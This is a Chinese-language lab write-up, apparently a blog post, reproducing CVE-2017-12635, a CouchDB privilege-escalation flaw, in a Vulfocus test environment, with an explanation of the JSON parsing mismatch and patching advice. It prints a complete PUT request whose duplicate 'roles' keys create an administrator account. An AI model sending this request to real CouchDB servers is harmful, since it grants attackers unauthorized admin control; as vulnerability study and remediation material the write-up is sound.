当前位置:网站首页>CVE-2017-12635 Couchdb 垂直权限绕过漏洞复现
CVE-2017-12635 Couchdb 垂直权限绕过漏洞复现
2022-07-17 05:03:00 【wavesky111】
一、漏洞概述
Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为数据存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
二、影响版本
- 小于 1.7.0 以及小于 2.1.1
三、漏洞原理
1.Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。——https://www.anquanke.com/post/id/87256
2.那就意味着JavaScript在检测时,检测我们创建的用户“角色=0”。无角色,也就不存在权限,所以没有危害,系统判定为安全,绕过了检测。接下来在CouchDB的Erlang部分实现身份验证和授权时,jiffy实现的时候,getter函数只返回第一个值也就是"roles": ["_admin"],所以创建出了具有admin权限的账户。——https://blog.csdn.net/qq_45813980/article/details/118654097
3.扩展:PUT请求
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
五、实验步骤
1.开启镜像环境,访问页面



2.构造PUT包,自己设置一个管理员账号登录
1 PUT /_users/org.couchdb.user:wavesky HTTP/1.1
2 Host: 192.168.117.131:27483/
3 Accept: /
4 Accept-Language: en
5 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
6 Connection: close
7 Content-Type: application/json
8 Content-Length: 101
9
10 {
11 "type": "user",
12 "name": "wavesky",
13 "roles": ["_admin"],
14 "roles":[],
15 "password": "wavesky"
16 }
3.访问http://192.168.117.131:27483/_utils,可以看到_user多了一个刚定义的拥有管理员权限的用户


六、修复建议
1.公网Apache CouchDB实例
建议升级到最新版本。 使用ECS安全组或防火墙策略,限制CouchDB端口暴露在互联网,设置精细化网络访问控制。 开启认证功能,不要使用默认账号口令,配置自定义账号和强口令,防止暴力破解攻击事件。
2.内网Apache CouchDB实例
使用ECS安全组或防火墙策略,限制CouchDB端口暴露在互联网,设置精细化网络访问控制。 开启认证功能,不要使用默认账号口令,配置自定义账号和强口令,防止暴力破解攻击事件。
——https://huskypower.blog.csdn.net/article/details/120880072?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-120880072-blog-121767180.pc_relevant_paycolumn_v3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-120880072-blog-121767180.pc_relevant_paycolumn_v3&utm_relevant_index=2
3.加入dedupe_keys字段用于对重复键的标识,重写make_object方法,使得jiffy解析JSON的方法和JavaScript一致。——https://www.anquanke.com/post/id/87256
边栏推荐
- 有望取代Deepfake?揭秘今年超火的NeRF技
- 解决[email protected]: `node install.js` 的问题
- Warriors of the Visual Studio, Assemble! (warriors of visual studio, assemble!) Original 19:40:00 on July 12, 2009 label: compilation /mic
- Notes for Resume Writing
- 模板类的声明和定义
- Hightec new aurix tc37x demo project
- Website online package APK system source code
- 老年祝福火爆短视频微信小程序源码下载支持流量主
- 渗透测试 10 --- 扫描 web目录 (dirb、wfuzz、wpscan、nikto)
- Tasking new aurix tc37x demo project
猜你喜欢

String字符串根据符号进行特殊截取处理

Notes on Advanced Mathematics: selected exercises of Wu Yue

【Lipschitz】基于matlab的Lipschitz李氏指数仿真

shardingsphere的核心概念和快速实战

负载均衡器ribbon实战

ThinkPHP official website tutorial

【FPGA教程案例27】通过Verilog实现双口RAM乒乓结构

2022 latest version of campus errand applet source code

高等数学笔记:伍月习题选集
![[Lipschitz] simulation of Lipschitz Lipschitz exponent based on MATLAB](/img/72/c69ed6e5538169c362b7b4bab36d5e.png)
[Lipschitz] simulation of Lipschitz Lipschitz exponent based on MATLAB
随机推荐
DSL search results processing, including sorting, paging, highlighting
负载均衡添加ssl证书
Masm32 writer
DSL query document
渗透测试 10 --- 扫描 web目录 (dirb、wfuzz、wpscan、nikto)
Kubernetes 的监控与告警
DirectExchange交换机的简单使用。
mysql优化
记录一次存储过程批量修改表结构
es的一些概念
shardingsphere的核心概念和快速实战
TiDB 性能分析和优化
PingCAP Clinic 数据采集说明
Simple UI funny text conversion Emoji expression wechat applet supports sentence word conversion_ Source code
【FPGA教程案例27】通过Verilog实现双口RAM乒乓结构
微众对接机制备忘
Tidb performance optimization overview
[FPGA tutorial case 27] realize dual port RAM ping-pong structure through Verilog
类对象自动注入属性操作工具
索引库操作基本操作